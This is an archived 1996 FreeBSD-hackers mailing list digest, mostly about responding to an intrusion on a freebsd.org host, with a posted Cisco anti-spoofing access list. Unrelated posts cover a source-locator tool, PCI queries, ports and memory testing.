In-Reply-To: <199606240651.XAA27306@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Terry Lambert wrote: > 1) Do not believe this. Assume he got root. Fundamental question: how did the intruder get in? Telnet with reuseable passwords, or something else? Note that the intruder is probably reading these lists. ;) - PS -- Ng Pheng Siong * Finger for PGP key. Pacific Internet Pte Ltd * Singapore Fast, secure, cheap. Pick two. From owner-freebsd-hackers Mon Jun 24 00:49:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA02129 for hackers-outgoing; Mon, 24 Jun 1996 00:49:20 -0700 (PDT) Received: from mail.ca2.so-net.or.jp (mail.ca2.so-net.or.jp [202.238.95.34]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA02118 for ; Mon, 24 Jun 1996 00:49:16 -0700 (PDT) Received: from chiota (ppp686e.pppp.ap.so-net.or.jp [202.238.104.110]) by mail.ca2.so-net.or.jp (8.7.5/3.4W396052919) with SMTP id QAA21584; Mon, 24 Jun 1996 16:49:10 +0900 Received: from localhost (localhost [127.0.0.1]) by chiota (8.6.12/) with SMTP id QAA00295; Mon, 24 Jun 1996 16:47:41 +0900 Message-Id: <199606240747.QAA00295@chiota> To: hackers@freebsd.org Cc: shigio@ca2.so-net.or.jp Subject: GLOBAL version1.2 for FreeBSD 2.1R Date: Mon, 24 Jun 1996 16:47:40 +0900 From: Shigio Yamaguchi Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, this is Yamaguchi. I put the source code of GLOBAL version1.2 for FreeBSD 2.1R at http://ux01.so-net.or.jp/~shigio/index.html This page is mainly encoded in Japanese EUC code, so please select 'English version(Only freesoft for FreeBSD)'. If you cannot get items, please send E-mail to me. GLOBAL is a command which find the locations of specified function in C source files. Features: o Global can find the locations of specified function quickly. o Global can locate not only function definitions but also function reference o Global can treat a source tree containing subdirectories and you can get relative path of objects from anywhere within the tree. o Global allow duplicate entries. o Global can understand perl's regular expression. This includes the patch for CTAGS(1) to treat duplicate entries. This includes the patch for VI(nvi/nex 1.34) to use global within the editor. The new version of nvi/nex(1.61 and later) supports duplicate entries in tags file. So you can use the patched ctags with the VI. Please enjoy. -- Shigio Yamaguchi E-Mail: shigio@ca2.so-net.or.jp Home Page: http://ux01.so-net.or.jp/~shigio/index.html From owner-freebsd-hackers Mon Jun 24 01:22:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA03713 for hackers-outgoing; Mon, 24 Jun 1996 01:22:42 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA03693; Mon, 24 Jun 1996 01:22:33 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id KAA12148; Mon, 24 Jun 1996 10:22:12 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606240822.KAA12148@gvr.win.tue.nl> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 10:22:12 +0200 (MET DST) Cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <10326.835597770@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 96 11:29:30 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard wrote: > > Do you have anti-spoof filter rules in your backbone router? If not > > install them. If so, please add packets coming in from localhost > > How do you install such things on a cisco 2500? :-) Seriously, if > there's a way then I can get someone from cisco to help me out, but I > first need to know that it's even a reasonable request. Put an access group *in*. On the interface to your ISP. Deny all packets originating from ip numbers on your internal network. Allow anything else. > > > to them. I don't know why he got in, but you can suspect rlogin plus > > a localhost entry in host.equiv combined with source routed packets. > > Hmmm. We have reason to believe that he *didn't* get root (though > we're still assuming he did, just to be paranoid) and if the mod times > can be trusted, hosts.equiv hasn't been touched in many months (and > localhost is commented out). Okay. Than this was not the problem. -Guido From owner-freebsd-hackers Mon Jun 24 01:52:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA05726 for hackers-outgoing; Mon, 24 Jun 1996 01:52:00 -0700 (PDT) Received: from relay.hp.com (relay.hp.com [15.255.152.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA05709 for ; Mon, 24 Jun 1996 01:51:58 -0700 (PDT) Received: from fakir.india.hp.com by relay.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA123176285; Mon, 24 Jun 1996 01:51:33 -0700 Received: from localhost by fakir.india.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA150096460; Mon, 24 Jun 1996 14:24:20 +0530 Message-Id: <199606240854.AA150096460@fakir.india.hp.com> To: hackers@freebsd.org Subject: Q: Getting PCI information Date: Mon, 24 Jun 1996 14:24:19 +0530 From: A JOSEPH KOSHY Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there any way from user-land to get the current PCI configuration on a machine? Koshy From owner-freebsd-hackers Mon Jun 24 02:38:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA10571 for hackers-outgoing; Mon, 24 Jun 1996 02:38:50 -0700 (PDT) Received: from minnow.render.com (render.demon.co.uk [158.152.30.118]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA10557; Mon, 24 Jun 1996 02:38:42 -0700 (PDT) Received: (from dfr@localhost) by minnow.render.com (8.6.12/8.6.9) id KAA26539; Mon, 24 Jun 1996 10:41:27 +0100 Date: Mon, 24 Jun 1996 10:41:26 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" cc: Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <8378.835580425@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > > Also since "you" were logged in , try to look in the logs for a > > a loggin session of a foreign host and I would report the incident to the > > FBI 8) > > All we have are the "last" logs, which show: > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > If someone at the russian site could help correlate this time (PST) to > the local time at wherever a235.ru.pu came in from, we could at least > narrow down which user(s) it might have been. > > Also, I think that calling the FBI on this one is only likely to get > me put on infinite hold when they hear that the perpetrator is in > Russia. :-) Which parts of the archive do you have write access to? It just occurred to me that inserting a virus into the release version of quake would be a far more devastating attack than tampering with a FreeBSD release. -- Doug Rabson, Microsoft RenderMorphics Ltd. Mail: dfr@render.com Phone: +44 171 251 4411 FAX: +44 171 251 0939 From owner-freebsd-hackers Mon Jun 24 02:49:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA11819 for hackers-outgoing; Mon, 24 Jun 1996 02:49:40 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA11792; Mon, 24 Jun 1996 02:49:29 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id CAA00862; Mon, 24 Jun 1996 02:48:40 -0700 (PDT) Message-Id: <199606240948.CAA00862@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: Doug Rabson cc: "Jordan K. Hubbard" , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 10:41:26 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 24 Jun 1996 02:48:40 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hmmm... voluntary shutdown, till you can examine, rebuild freebsd.org? Specially since the intruder wiped out the home directory... Amancio >From The Desk Of Doug Rabson : > On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > > > Which parts of the archive do you have write access to? It just occurred > to me that inserting a virus into the release version of quake would be a > far more devastating attack than tampering with a FreeBSD release. > From owner-freebsd-hackers Mon Jun 24 03:09:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA11819 for hackers-outgoing; Mon, 24 Jun 1996 02:49:40 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA11792; Mon, 24 Jun 1996 02:49:29 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id CAA00862; Mon, 24 Jun 1996 02:48:40 -0700 (PDT) Message-Id: <199606240948.CAA00862@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: Doug Rabson cc: "Jordan K. Hubbard" , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 10:41:26 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 24 Jun 1996 02:48:40 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hmmm... voluntary shutdown, till you can examine, rebuild freebsd.org? Specially since the intruder wiped out the home directory... Amancio >From The Desk Of Doug Rabson : > On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > > > Which parts of the archive do you have write access to? It just occurred > to me that inserting a virus into the release version of quake would be a > far more devastating attack than tampering with a FreeBSD release. > From owner-freebsd-hackers Mon Jun 24 03:17:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA01865 for hackers-outgoing; Mon, 24 Jun 1996 03:17:34 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA01844; Mon, 24 Jun 1996 03:17:29 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id DAA11150; Mon, 24 Jun 1996 03:15:51 -0700 (PDT) To: Ng Pheng Siong cc: Terry Lambert , guido@gvr.win.tue.nl, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 15:35:01 +0800." Date: Mon, 24 Jun 1996 03:15:51 -0700 Message-ID: <11148.835611351@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk We're pretty sure we know how he got in at this point but I'm going to refrain from saying anything until we have had a chance to talk with the FreeBSD security officers about this incident. Jordan > On Sun, 23 Jun 1996, Terry Lambert wrote: > > 1) Do not believe this. Assume he got root. > > Fundamental question: how did the intruder get in? Telnet with reuseable > passwords, or something else? > > Note that the intruder is probably reading these lists. ;) > > - PS > -- > Ng Pheng Siong * Finger for PGP key. > Pacific Internet Pte Ltd * Singapore > > Fast, secure, cheap. Pick two. > From owner-freebsd-hackers Mon Jun 24 03:32:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA02907 for hackers-outgoing; Mon, 24 Jun 1996 03:32:17 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA02882; Mon, 24 Jun 1996 03:32:12 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id DAA13003; Mon, 24 Jun 1996 03:31:49 -0700 (PDT) Message-Id: <199606241031.DAA13003@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Doug Rabson cc: "Jordan K. Hubbard" , Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 10:41:26 BST." From: David Greenman Reply-To: davidg@root.com Date: Mon, 24 Jun 1996 03:31:48 -0700 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >Which parts of the archive do you have write access to? It just occurred >to me that inserting a virus into the release version of quake would be a >far more devastating attack than tampering with a FreeBSD release. Based on what I've discovered at this point, I don't think this has occurred. We're not going to discuss this issue in public any further. If you have any ideas or advice, please send it to Jordan and me. Thanks. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Mon Jun 24 03:49:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA03624 for hackers-outgoing; Mon, 24 Jun 1996 03:49:19 -0700 (PDT) Received: from shogun.tdktca.com ([206.26.1.21]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA03605; Mon, 24 Jun 1996 03:49:15 -0700 (PDT) Received: from shogun.tdktca.com (daemon@localhost) by shogun.tdktca.com (8.7.2/8.7.2) with ESMTP id FAA13845; Mon, 24 Jun 1996 05:50:35 -0500 (CDT) Received: from orion.fa.tdktca.com ([163.49.131.130]) by shogun.tdktca.com (8.7.2/8.7.2) with SMTP id FAA13840; Mon, 24 Jun 1996 05:50:34 -0500 (CDT) Received: from orion (alex@localhost [127.0.0.1]) by orion.fa.tdktca.com (8.6.12/8.6.9) with SMTP id FAA15083; Mon, 24 Jun 1996 05:52:57 -0500 Message-ID: <31CE7387.C50A843@fa.tdktca.com> Date: Mon, 24 Jun 1996 05:52:55 -0500 From: Alex Nash Organization: TDK Factory Automation X-Mailer: Mozilla 2.0 (X11; I; Linux 1.2.13 i586) MIME-Version: 1.0 To: "Jordan K. Hubbard" CC: Ng Pheng Siong , Terry Lambert , guido@gvr.win.tue.nl, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG Subject: Re: I need help on this one - please help me track this guy down! References: <11148.835611351@time.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard wrote: > > We're pretty sure we know how he got in at this point but I'm going > to refrain from saying anything until we have had a chance to talk > with the FreeBSD security officers about this incident. > > Jordan > > > On Sun, 23 Jun 1996, Terry Lambert wrote: > > > 1) Do not believe this. Assume he got root. > > > > Fundamental question: how did the intruder get in? Telnet with reuseable > > passwords, or something else? > > > > Note that the intruder is probably reading these lists. ;) Well not only do you know how he got in, but if he really is reading these lists, we've got our man (or woman, as the case may be). There's only one user from pu.ru on the combined hackers/security lists. :) Disclaimer: I'm kidding, I would not point the finger at this person based on such circumstantial evidence. Alex From owner-freebsd-hackers Mon Jun 24 03:55:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA03977 for hackers-outgoing; Mon, 24 Jun 1996 03:55:27 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA03949; Mon, 24 Jun 1996 03:55:23 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id DAA11301; Mon, 24 Jun 1996 03:55:06 -0700 (PDT) To: Amancio Hasty cc: Doug Rabson , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 02:48:40 PDT." <199606240948.CAA00862@rah.star-gate.com> Date: Mon, 24 Jun 1996 03:55:05 -0700 Message-ID: <11299.835613705@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Already in progress, yep! > > Hmmm... voluntary shutdown, till you can examine, rebuild freebsd.org? > Specially since the intruder wiped out the home directory... > > Amancio > > >From The Desk Of Doug Rabson : > > On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > > > > > > Which parts of the archive do you have write access to? It just occurred > > to me that inserting a virus into the release version of quake would be a > > far more devastating attack than tampering with a FreeBSD release. > > > > > From owner-freebsd-hackers Mon Jun 24 04:47:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA08194 for hackers-outgoing; Mon, 24 Jun 1996 04:47:33 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id EAA08188 for ; Mon, 24 Jun 1996 04:47:31 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id EAA24536 for freebsd-hackers@freefall.cdrom.com; Mon, 24 Jun 1996 04:47:30 -0700 (MST) From: Don Yuniskis Message-Id: <199606241147.EAA24536@seagull.rtd.com> Subject: Apologies for misdirected mail To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Mon, 24 Jun 1996 04:47:30 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sorry, that last message should have Cc'd -ports and not -hackers <:-( --don From owner-freebsd-hackers Mon Jun 24 04:47:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA08234 for hackers-outgoing; Mon, 24 Jun 1996 04:47:48 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id EAA08227 for ; Mon, 24 Jun 1996 04:47:46 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id EAA24480; Mon, 24 Jun 1996 04:46:30 -0700 (MST) From: Don Yuniskis Message-Id: <199606241146.EAA24480@seagull.rtd.com> Subject: Re: Re Ports and Functionality To: chemques@ml.petech.ac.za (Chemquest Unit) Date: Mon, 24 Jun 1996 04:46:30 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) In-Reply-To: from "Chemquest Unit" at Jun 24, 96 12:07:37 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi there Ditto! > I would like some info on how software ports work in freebsd. > What are they and how are they related to the actual package. *PORTS* are the sources from which *PACKAGES* are made ;-) This allows you to rebuild a particular package to suit your own tastes, etc. Also, due to licensing restrictions, some code can't be distributed "precompiled". Still other things need "site specific" information in order to be built properly, etc. So, some things really exist better as PORTS than as PACKAGES. Typically, though, the PACKAGE is used since it saves you the hassle of building the code (and most folks just want to use the software "as built") > I find the manual's discussion on ports a bit vague. *Which* "manual"? --don From owner-freebsd-hackers Mon Jun 24 05:17:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA13775 for hackers-outgoing; Mon, 24 Jun 1996 05:17:19 -0700 (PDT) Received: from www.hsc.wvu.edu (www.hsc.wvu.edu [157.182.98.68]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA13756 for ; Mon, 24 Jun 1996 05:17:16 -0700 (PDT) Received: (from jsigmon@localhost) by www.hsc.wvu.edu (8.6.12/8.6.12) id IAA11352; Mon, 24 Jun 1996 08:17:53 -0400 Date: Mon, 24 Jun 1996 08:17:53 -0400 (EDT) From: Jeremy Sigmon To: Ernest Hua cc: hackers@freebsd.org, hua@XENON.chromatic.com Subject: Re: Memory tests ... In-Reply-To: <199606212235.PAA01459@ohio.chromatic.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk According to the systems people around here, the best way to test memory is to put it into a Novell server. If the memory is flakey it will let you know fast. (ABEND???) I thinks someone around here has a 4.1 2 user box setup just for that purpose. On Fri, 21 Jun 1996, Ernest Hua wrote: > Anyone know of any memory testing utilities for FreeBSD? > > I've just spent countless days with yet another set of > questionable SIMMs, and I just can't wait for the real > hardware SIMM tester. In the mean time, I really want to > run some memory tests to check for the basic problems. > > If none exists, how does one demand physical access to > memory? Does mmap() have that ability? How do I prevent > the kernel from waking up during a critical region of the > test. > > Ern > From owner-freebsd-hackers Mon Jun 24 05:46:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA18350 for hackers-outgoing; Mon, 24 Jun 1996 05:46:02 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.eu.org [193.56.58.253]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA18344; Mon, 24 Jun 1996 05:45:57 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.eu.org [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id OAA06092; Mon, 24 Jun 1996 14:45:53 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id OAA14741; Mon, 24 Jun 1996 14:45:38 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.Alpha.5/keltia-uucp-2.8) id NAA09908; Mon, 24 Jun 1996 13:43:56 +0200 (MET DST) From: Ollivier Robert Message-Id: <199606241143.NAA09908@keltia.freenix.fr> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 13:43:56 +0200 (MET DST) Cc: guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org In-Reply-To: <10326.835597770@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 96 11:29:30 pm" X-Operating-System: FreeBSD 2.2-CURRENT ctm#2111 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk It seems that Jordan K. Hubbard said: > How do you install such things on a cisco 2500? :-) Seriously, if > there's a way then I can get someone from cisco to help me out, but I > first need to know that it's even a reasonable request. If you use Serial0 for the Internet and A.B.C.0/24 in your internal network, use something like the following: ! ! Refuses loose/strict source routed packets ! no ip source-route ! interface Serial0 ip address A.B.C.254 255.255.255.0 ip access-g 100 in ip access-g 101 out ... ! access list for incoming packets ! should fix most of the new attacks when a spoofed packet ! is trying to come from the outside with a source address ! from our network which is impossible. ! no access-list 100 ! ! Rejects our own addresses C-Class A.B.C.0/24 ! access-list 100 deny ip A.B.C.0 0.0.0.255 any ! ! Rejects EPITA B-Class 163.5.0.0/16 ! access-list 100 deny ip 163.5.0.0 0.0.255.255 any ! ! Rejects special addresses ! access-list 100 deny ip 127.0.0.0 0.255.255.255 any ! ! RFC-1918 IANA reserved A/B/C classes ! A-Class 10.0.0.0/8 ! access-list 100 deny ip 10.0.0.0 0.255.255.255 any ! ! B-Classes 172.16.0.0/12 ! access-list 100 deny ip 172.16.0.0 0.15.255.255 any ! ! C-Classes 192.168.0.0/16 ! access-list 100 deny ip 192.168.0.0 0.0.255.255 any ! ! Accepts the rest ! access-list 100 permit ip any A.B.C.0 0.0.0.255 -- Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 2.2-CURRENT #11: Thu Jun 13 11:01:47 MET DST 1996 From owner-freebsd-hackers Mon Jun 24 05:48:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA18516 for hackers-outgoing; Mon, 24 Jun 1996 05:48:05 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA18484; Mon, 24 Jun 1996 05:47:52 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id IAA29110; Mon, 24 Jun 1996 08:51:12 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA15569; Mon, 24 Jun 1996 08:51:11 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id IAA12290; Mon, 24 Jun 1996 08:25:07 +0200 (MET DST) From: J Wunsch Message-Id: <199606240625.IAA12290@uriah.heep.sax.de> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 08:25:06 +0200 (MET DST) Cc: msmith@atrad.adelaide.edu.au, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <9123.835587998@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 96 08:46:38 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > [jaeger@com removed from cc - he needs to fix his headers :-)] While we are at it, wasn't `jaeger' on of the nicknames of the intruder in Stoll's ``The Cuckoo's egg''? :-} -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 24 06:23:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA20529 for hackers-outgoing; Mon, 24 Jun 1996 06:23:15 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA20524 for ; Mon, 24 Jun 1996 06:23:13 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id GAA29600; Mon, 24 Jun 1996 06:23:01 -0700 (MST) From: Don Yuniskis Message-Id: <199606241323.GAA29600@seagull.rtd.com> Subject: Re: Memory tests ... To: jsigmon@www.hsc.wvu.edu (Jeremy Sigmon) Date: Mon, 24 Jun 1996 06:23:01 -0700 (MST) Cc: hua@XENON.chromatic.com, hackers@freebsd.org In-Reply-To: from "Jeremy Sigmon" at Jun 24, 96 08:17:53 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings! > According to the systems people around here, the best way to test memory is > to put it into a Novell server. If the memory is flakey it will let > you know fast. (ABEND???) > I thinks someone around here has a 4.1 2 user box setup just for that > purpose. Are people looking for *exhaustive* tests, "quick and dirty" tests, diagnostic tests, or what? There are different solutions for each of these. But I think just the "make world" style tests add very little value (tho' prehaps, they are probably easiest to invoke...) --don From owner-freebsd-hackers Mon Jun 24 06:53:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA21860 for hackers-outgoing; Mon, 24 Jun 1996 06:53:05 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA21840; Mon, 24 Jun 1996 06:52:58 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id IAA05446; Mon, 24 Jun 1996 08:51:40 -0500 From: Joe Greco Message-Id: <199606241351.IAA05446@brasil.moneng.mei.com> Subject: Re: I need help on this one - please help me track this guy down! To: guido@gvr.win.tue.nl (Guido van Rooij) Date: Mon, 24 Jun 1996 08:51:39 -0500 (CDT) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG In-Reply-To: <199606240822.KAA12148@gvr.win.tue.nl> from "Guido van Rooij" at Jun 24, 96 10:22:12 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > How do you install such things on a cisco 2500? :-) Seriously, if > > there's a way then I can get someone from cisco to help me out, but I > > first need to know that it's even a reasonable request. > > Put an access group *in*. On the interface to your ISP. Deny all > packets originating from ip numbers on your internal network. > Allow anything else. Better yet, do not allow just "anything" else... I block the RFC1597 